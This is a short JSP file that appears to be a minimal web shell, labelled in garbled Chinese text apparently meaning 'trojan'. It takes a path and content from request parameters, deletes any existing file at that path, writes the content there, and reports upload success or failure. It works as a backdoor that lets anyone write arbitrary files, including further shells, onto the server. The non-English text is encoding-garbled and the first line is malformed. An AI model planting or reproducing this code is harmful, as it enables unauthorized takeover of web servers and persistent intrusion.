%@ page language="java" pageEncoding="gbk"%>
å°é©¬
<%
int i=0;
String method=request.getParameter("act");
if(method!=null&&method.equals("up")){
String url=request.getParameter("url");
String text=request.getParameter("text");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>
ä¸ä¼ ä¸æå
<%
}
}
if(i==0){
%>
ä¸ä¼ æå
<%
}
%>